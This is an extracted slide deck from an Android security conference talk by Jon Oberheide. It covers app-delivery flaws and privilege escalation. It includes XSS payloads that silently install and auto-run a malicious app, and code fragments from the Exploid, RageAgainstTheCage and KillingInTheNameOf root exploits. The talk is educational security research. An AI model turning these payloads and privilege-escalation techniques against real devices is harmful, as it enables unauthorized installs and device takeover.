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DON'T DATE ROBOTS!
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Game Plan

• History of Smartphone Security

• A Deeper Look at Android

• Past, Present, and Future Threats
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History of Smartphone Security

1992:
IBM Simon

Secure?
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Smartphones in the 2000s

'00    '01    '02    '03    '04    '05    '06    '07    '08    '09    '10

Windows Mobile

Palm OS

Blackberry

Symbian OS
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Early Smartphone Threats

Limited Programmability

Limited Use Cases

Limited Threats

SMS worms,
toll fraud, etc
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Dead Platforms

• Where are those platforms now?
– Symbian → dead

• Nokia choose WP7
– WinMo → dead

• Superseded by P7

– Palm OS → dead

• Superseded by WebOS, also dead!
– Blackberry

• Dead in 2012
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Smartphones in the 2010s

'07            '08            '09            '10            '11            '12

Google Android

Windows Phone

Apple iOS



Slide # 9Don't Root Robots: Breaks in Google's Android platform - Jon Oberheide

Current Smartphone Threats
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What Changed?

High connectivity

Usable interfaces App devel/distribution

Increased resources

Local: Bluetooth, 802.11g
Wide: HSDPA, 802.11n

Full blown SDKs/toolchains
App store distribution

High-res touch screens
Full QWERTY keyboards
High-res touch screens

Full QWERTY keyboards

CPU, memory, storage
Media-specific DSPs
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What Matters for Security?

• Application delivery
– Bigger attack surface
– Easier to get malicious apps on a device

• Usability
– Users actually using their mobile device
– Incentive for attackers
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Most Juicy Target?

Q2 2011
Gartner
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Game Plan

• History of Smartphone Security

• A Deeper Look at Android

• Past, Present, and Future Threats
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Kill All Humans!

What's in an Android?
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Android at a Glance

• Base platform
•ARM core

•Linux 2.6.3x kernel

• Native libraries
•libc, Webkit, etc

• Dalvik VM
•Register-based VM

•Runs dex bytecode

• Applications
•Developed in Java

•Run on Dalvik VM

•Linux process 1:1
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Permission-Based Model

• Apps explicitly request 
pre-defined permissions

• Examples:
•Cellular: calls, SMS, MMS
•Network, Bluetooth, WiFi
•Hardware: vibrate, backlight
•Location: coarse, fine
•App data: contacts, calendars
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App Sandboxing

• “Sandboxed” by standard UNIX uid/gid
•Generated unique per app at install time

• High-level permissions restricted by 
Android runtime framework
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Android Native Code

• Dalvik VM != sandbox
•Not limited to executing dex bytecode
•Can pop out of the VM to execute native code

• Native code packaged within APKs
•Android should do some code signing like iPhone
•But it doesn't...
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App Distribution

• Application signing
•Self-signed by developers

• Android Market
•$25 signup, anyone can publish
•Anonymous sign-up is possible
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Android vs iOS

What about the iPhone?!?
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Exploit Mitigations

• Exploit mitigations
– NX stack/heap
– Full ASLR w/PIE
– Code signing

Winner: iOS
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Sandboxing

• Sandboxing, app isolation
– Android: standard UNIX uids
– iOS: seatbelt sandbox policies
– Path of least resistance: privesc

Winner: iOS
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App Market

• App market
– Android: lots of malware in app store?
– iOS: bullet-proof review process?

• Whaaaa????

Winner: Android
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Game Plan

• History of Smartphone Security

• A Deeper Look at Android

• Past, Present, and Future Threats
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Threats that Matter

• Traditional consumer security fears
– Privacy, wiretapping, etc
– These threats don't scale!

• The real threats that matter
– Threats with scalable monetization models
– eg. profit from mass ownage

• How to achieve mass ownage?
– Get code on lots of devices
– Escalate privileges to persist on devices
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Delivery Mechanisms

How do we get code on the device?
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Vulns in Code/App Delivery

'10                             '11                           '12

Code/app delivery vulnerabilities

A sampling of some vulnerabilities in
code and application delivery mechanisms:

August 2011:
Angry Birds-like 
vulnerability 
(unpatched)

November 2010:
Angry Birds 
arbitrary app 
install

June 2010:
Twilight / 
Rootstrap
botnet

March 2011:
Android
Web Market
XSS
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Angry Birds Attack

ANGRY BIRDS ATTACK
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Perceived App Install Process

1. Browse 2. Install 3. Approve BOOM!
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Actual App Install Process

1. User clicks install/approve

2. Market app POSTs install request to 
Google

3. Market servers signal C2DM servers

4. C2DM servers push down INSTALL_ASSET 

5. GTalkService receives INSTALL_ASSET and 
invokes vending

6. Vending component fetches APK and installs
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Market Interactions

• Google is a sneaky panda!
•You don't actually download / install the app 
through the market application

• When you click install in market app
•Google servers push an out-of-band message down 
to you via persistent data connection

•Triggers INSTALL_ASSET intent to start install
•Intent handler fetches APK and installs
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Dex Bytecode RE
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GTalkService Connection

• Persistent data connection
•Speaks XMPP
•Same connection now used for 
C2DM push service

• Gap in responsibility
•Market app does appoves perms
•But GtalkService triggers install
•There's a disconnect here...
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Market App Requests

• What does the market app POST to the 
market server?

• Can we spoof the same request and 
trigger an INSTALL_ASSET message and 
subsequent install?
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Base64 Encoded Protobuf
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Raw Protobuf Decoded
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RE'ed Protobuf Specification

app/asset ID

auth token

install request
message
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Elements of an Install Request

• We have the format of the request now!
• Need to populate it with:

•Lots of miscellaneous fields...
•App ID: target app to be installed

•Can be derived from dissecting market requests

•Auth token: the hard part?
•Turns out we can steal it from Android's AccountManager!
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Bypassing Permissions Approval

• Steal the “android” service token used by market 
from the AccountManager

• Construct protobuf request to market servers 
for invoking an application installer

• INSTALL_ASSET is pushed and app installed 
without any user prompt / permission approval

• PoC disguised as an Angry Birds expansion app
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Angry Birds Bonus Levels
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Fake Toll Fraud App



Don't Root Robots: Breaks in Google's Android platform - Jon Oberheide

Vulns in Code/App Delivery

'10                             '11                           '12

Code/app delivery vulnerabilities

A sampling of some vulnerabilities in 
code and application delivery mechanisms:

August 2011:
Angry Birds-like 
vulnerability 
(unpatched)

November 2010:
Angry Birds 
arbitrary app 
install

June 2010:
Twilight / 
Rootstrap
botnet

March 2011:
Android
Web Market
XSS
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Android Web Market XSS

WEB MARKET XSS
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Android Web Market

• Android Web Market
•Launched in Feb 2011
•Allows browsing app 
market with your 
desktop browser
•AND, installing apps 
to your phone from 
your browser



Slide # 45Don't Root Robots: Breaks in Google's Android platform - Jon Oberheide

Dangerous?

A web interface for installing 
apps directly to your phone?

What could possibly go wrong?

If it's one thing I don't 
need, it's your "I-
don't-think-that's-
wise" attitude! - Zapp
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A Quick Audit...BINGO!



Slide # 47Don't Root Robots: Breaks in Google's Android platform - Jon Oberheide

XSS Impact

• A naïve XSS in the Web Market
•Description field when publishing your app

• Vulnerability?
•Pretty lame.

• Impact?
•Pretty catastrophic.

Javascript XSS 
payload can trigger 
the install of any app 

to your phone.
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XSS Install Payload

/* silently install malicious app to victim phone */
$.post('/install', {
    id: 'com.attacker.maliciousapp',
    device: initProps['selectedDeviceId'],
    token: initProps['token'],
    xhr: '1' }, function(data) {
});

Install payload:

Forces user's browser to request install of 
com.attacker.maliciousapp.
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XSS Trigger Payload

/* append hidden iframe */
$('body').append($('<iframe id="xss" width="0"...>'));

/* continually trigger iframe src */
function trigger() {
    $('#xss').attr('src', 'trigger://blah');
    setTimeout('trigger()', 1000);
}
setTimeout('trigger()', 1000);

Trigger payload:

Forces user's phone to “auto-run” the 
malicious app after install.
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Web Market Lessons

• XSS RCE
•Rarely used in the same sentence!

• Cross-device vulnerabilities
•Don't cross the streams...at least without a 
simple confirmation prompt! o_O

• Fixed the XSS but not the underlying issue
•Just wait a few months for the next XSS...
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Execution → Persistence

“So, I've got code execution
 on the device, now what?”

• Persistence
– Attackers want to maintain long-term 

control of your device
– Achieved via privilege escalation commonly 

followed by loading a rootkit
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Privesc Vulnerabilities

Privilege escalation vulnerabilities

A sampling of some 
privilege escalation vulnerabilities:

April 2011:
Gingerbreak 
(same as 
Exploid)

Aug 2010:
RageAgainst
TheCage

July 2010:
Exploid

Jan 2011:
KillingInThe
NameOf

'10                             '11                           '12

October 2011:
Levitator
(patched last 
week in 2.3.6)

Dec 2010:
Zimperlich
(same as
RATC)
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Exploid Jailbreak

EXPLOID
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CVE-2009-1185

Reduce, reuse, recycle...exploits!

Won 2009 Pwnie Award for best privesc!
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Netlink in ASCII

     ++      ++
     | (3) application "A" |      | (3) application "B" |
     +++      +++
            |                                    |
            \                                    /
             \                                  /
              |                                |
      ++++
      |        :                               :       |   userspace
 =====+        :   (5)  kernel socket API      :       +================
      |        :                               :       |   kernelspace
      ++++
               |                               |
         ++++
         |        (1)  Netlink subsystem            |
         +++
                               |
         +++
         |       (2) Generic Netlink bus            |
         +++++
            |                          |       |
    +++                |       |
    |  (4) controller |               /         \
    ++              /           \
                                     |           |
                  +++     +++
                  | (3) kernel user "X" |     | (3) kernel user "Y" |
                  ++     ++
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Let's Pretend...

     ++      ++
     | (3) application "A" |      | (3) application "B" |
     +++      +++
            |                                    |
            \                                    /
             \                                  /
              |                                |
      ++++
      |        :                               :       |   userspace
 =====+        :   (5)  kernel socket API      :       +================
      |        :                               :       |   kernelspace
      ++++
               |                               |
         ++++
         |        (1)  Netlink subsystem            |
         +++
                               |
         +++
         |       (2) Generic Netlink bus            |
         +++++
            |                          |       |
    +++                |       |
    |  (4) controller |               /         \
    ++              /           \
                                     |           |
                  +++     +++
                  | (3) kernel user "X" |     | (3) kernel user "Y" |
                  ++     ++

UDEV

KOBJECT_UEVENT

Kernel notifies udev 
of kobject event via 
netlink interface.

udev performs some
privileged action.
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Lack of Source Checking

     ++      ++
     | (3) application "A" |      | (3) application "B" |
     +++      +++
            |                                    |
            \                                    /
             \                                  /
              |                                |
      ++++
      |        :                               :       |   userspace
 =====+        :   (5)  kernel socket API      :       +================
      |        :                               :       |   kernelspace
      ++++
               |                               |
         ++++
         |        (1)  Netlink subsystem            |
         +++
                               |
         +++
         |       (2) Generic Netlink bus            |
         +++++
            |                          |       |
    +++                |       |
    |  (4) controller |               /         \
    ++              /           \
                                     |           |
                  +++     +++
                  | (3) kernel user "X" |     | (3) kernel user "Y" |
                  ++     ++

UDEV

KOBJECT_UEVENT

Evil app sends udev 
an evil message via 
netlink interface.

udev performs evil
privileged action.

EVIL APP
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Exploid Jailbreak

• Android “inherited” the udev vuln
•“init” daemon encapsulated udev functionality
•Still was present years after udev patch

mp = message;
mp += sprintf(mp, "remove@/d") + 1;
mp += sprintf(mp, "SUBSYSTEM=block") + 1;
mp += sprintf(mp, "DEVPATH=/dev/foo") + 1;
mp += sprintf(mp, "TIMEOUT=10") + 1;
mp += sprintf(mp, "ACTION=remove") + 1;
mp += sprintf(mp, "REMOVE_CMD=/tmp/run") + 1;

My non-Android udev exploit just ran /tmp/run as root:
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Exploid Payload

close(creat("loading", 0666));
if ((ofd = creat("hotplug", 0644)) < 0)

die("[] creat");
if (write(ofd, path , strlen(path)) < 0)

die("[] write");
close(ofd);
symlink("/proc/sys/kernel/hotplug", "data");
snprintf(buf, sizeof(buf), "ACTION=add%cDEVPATH=/..%s%c"
         "SUBSYSTEM=firmware%c"
         "FIRMWARE=../../..%s/hotplug%c", 
          0, basedir, 0, 0, basedir, 0);

Stealth's payload looked like the following:

What's happening here?

← creates “loading” file

← writes “hotplug” file

← symlinks “data”

← netlink msg

← path to exploid binary
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Use the Source, Luke!

void process_firmware_event(struct uevent *uevent)
{
... 
    l = asprintf(&root, SYSFS_PREFIX"%s/", uevent>path);
    l = asprintf(&loading, "%sloading", root);
    l = asprintf(&data, "%sdata", root);
    l = asprintf(&file1, FIRMWARE_DIR1"/%s", uevent>firmware);
...
    loading_fd = open(loading, O_WRONLY);

    data_fd = open(data, O_WRONLY);

    fw_fd = open(file1, O_RDONLY);

...
    if(!load_firmware(fw_fd, loading_fd, data_fd))

From http://android.git.kernel.org/?p=platform/system/core.git;a=blob;f=init/devices.c:

^ /sys/../sqlite_stmt_journals/loading

^ /etc/firmware/../../sqlite_stmt_journals/hotplug

^ /sys/../sqlite_stmt_journals/data

http://android.git.kernel.org/?p=platform/system/core.git;a=blob;f=init/devices.c
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Use the Source, Luke!

int load_firmware(int fw_fd, int loading_fd, int data_fd)
{
... 
    write(loading_fd, "1", 1);  /* start transfer */

    while (len_to_copy > 0) {
        nr = read(fw_fd, buf, sizeof(buf));
...
        while (nr > 0) {
            nw = write(data_fd, buf + nw, nr);
... 
}

From http://android.git.kernel.org/?p=platform/system/core.git;a=blob;f=init/devices.c:

← read from “hotplug”

← write to “data”

Netlink message causes the init daemon to read the 
contents of “hotplug” and write them into “data”

http://android.git.kernel.org/?p=platform/system/core.git;a=blob;f=init/devices.c
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BOOM! ROOT!

• Remember:
•“hotplug” contains path to exploid
•“data” is symlinked to /proc/sys/kernel/hotplug

• So:
•/proc/sys/kernel/hotplug now contains the path to 
the exploid binary
•Overrides the default hotplug path

• Invoke hotplug:
•Exploid will be run as root!



Slide # 63Don't Root Robots: Breaks in Google's Android platform - Jon Oberheide

RageAgainstTheCage Jailbreak

RAGEAGAINSTTHECAGE
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Quick Trivia

/* Code intended to run with elevated privileges */
do_stuff_as_privileged();

/* Drop privileges to unprivileged user */
setuid(uid);

/* Code intended to run with lower privileges */
do_stuff_as_unprivileged();

What's wrong with the following code?

Assuming a uid/euid=0 process dropping privileges...
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Setuid Quirks

/* Drop privileges to unprivileged user */
setuid(uid);

ERRORS
    EAGAIN The uid does not match the current     
           uid and uid brings process over its    
           RLIMIT_NPROC resource limit.

From setuid(2) man page:

Well, there's really only one line of interest:

It's true, setuid() can and will fail.
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Linux Resource Limits

RLIMIT_NPROC
    The maximum number of processes (or, more
    precisely on Linux, threads) that can be
    created for the real user ID of the calling
    process. Upon encountering this limit, fork(2)  
    fails with the error EAGAIN.

What is RLIMIT_NPROC?

If there are too many processes for the uid 
we're dropping to, setuid() will fail!

Therefore, privileges will not be dropped 
and we'll continue execution with uid=0!
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Exploiting setuid(2) Issues

• If we can artificially inflate the number of 
processes owned by the target uid, we can 
hit uid's RLIMIT_NPROC and force setuid() 
to fail with errno EAGAIN.

• Hopefully, the binary running with uid=0 will 
then perform some unsafe operation that 
we can influence.  
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Android Debug Bridge

• ADB:
Android Debug Bridge (adb) is a versatile command line 

tool that lets you communicate with an emulator instance 
or connected Android-powered device. It is a client-server 
program that includes three components:

…

A daemon, which runs as a background process on each 
emulator or device instance.

• Guess what ADB fails to do when it calls 
setuid to drop privileges?
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RageAgainstTheCage Exploit

• ADB fails to check setuid() return value:

• RageAgainstTheCage exploit:
•fork() up to RLIMIT_NPROC for “shell” user
•Kill adb, fork() again, adb fails setuid()
•Your `adb shell` is now a root shell!

/* then switch user and group to "shell" */
setgid(AID_SHELL);
setuid(AID_SHELL);
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KillingInTheNameOf Jailbreak

KILLINGINTHENAMEOF
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Android's ashmem

• ashmem
•Custom shmem interface by Google:
The ashmem subsystem is a new shared 

memory allocator, similar to POSIX SHM but with 
different behavior and sporting a simpler file-
based API.

• Custom code → ripe for vulnerabilities!
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ashmem Property Mapping

• ashmem maps in Android system 
properties in to each address space

• Not mmap'ed PROT_WRITE thankfully, 
that would be bad, wouldn't it?

# cat /proc/178/maps
...
4000000040008000 rxs 00000000 00:07 187        
/dev/ashmem/system_properties (deleted)
...
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Android Properties

• Android properties:

• ro.secure determines whether ADB runs as 
root or drops privs to AID_SHELL user

• If we can change it to 0, we've got root!

$ getprop 
[ro.secure]: [1]
[ro.allow.mock.location]: [1]
[ro.debuggable]: [1]
...
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KillingInTheNameOf Exploit

• Turns out ashmem will let us mprotect the 
mapping as PROT_WRITE:

• Flip the ro.secure property to 0:

• Spawn root adb shell!

printf("[+] Found prop area @ %p\n", prop);
if (mprotect(prop, PA_SIZE, PROT_READ|PROT_WRITE) < 0)
    die("[] mprotect");

if (strcmp(pi>name, "ro.secure") == 0) {
    strcpy(pi>value, "0");
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Privesc Vulnerabilities

Privilege escalation vulnerabilities

A new privilege escalation 
every couple months?

April 2011:
Gingerbreak 
(same as 
Exploid)

Aug 2010:
RageAgainst
TheCage

July 2010:
Exploid

Jan 2011:
KillingInThe
NameOf

'10                             '11                           '12

October 2011:
Levitator
(patched last 
week in 2.3.6)

Dec 2010:
Zimperlich
(same as
RATC)
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So We're Screwed?

• No shortage of privesc vulns and exploits
• Unlocked firmwares may disincentivize 

public privesc payloads
• All software systems have bugs

– Make the bugs harder to exploit
– Hardened toolchains and kernels
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Past, Present, and Future

• Learned these same lessons from traditional 
computing for decades now

• Same vulnerabilities, same mitigations, 
different platform

The bottom line: mobile security is 
currently in a game of catch-up...
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Predictions for 2012

• Things will get worse for Android before they 
get better
– But they will get better...

• More interesting cross-device vulnerabilities
– Like the Web Market XSS

• An emphasis on security differentiators
– Better MDM, mobile payments via NFC, etc

• Less mobile platform heterogeneity
– Good or bad for security?
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Questions / Demos

Jon Oberheide
@jonoberheide

jon@oberheide.org

Duo Security
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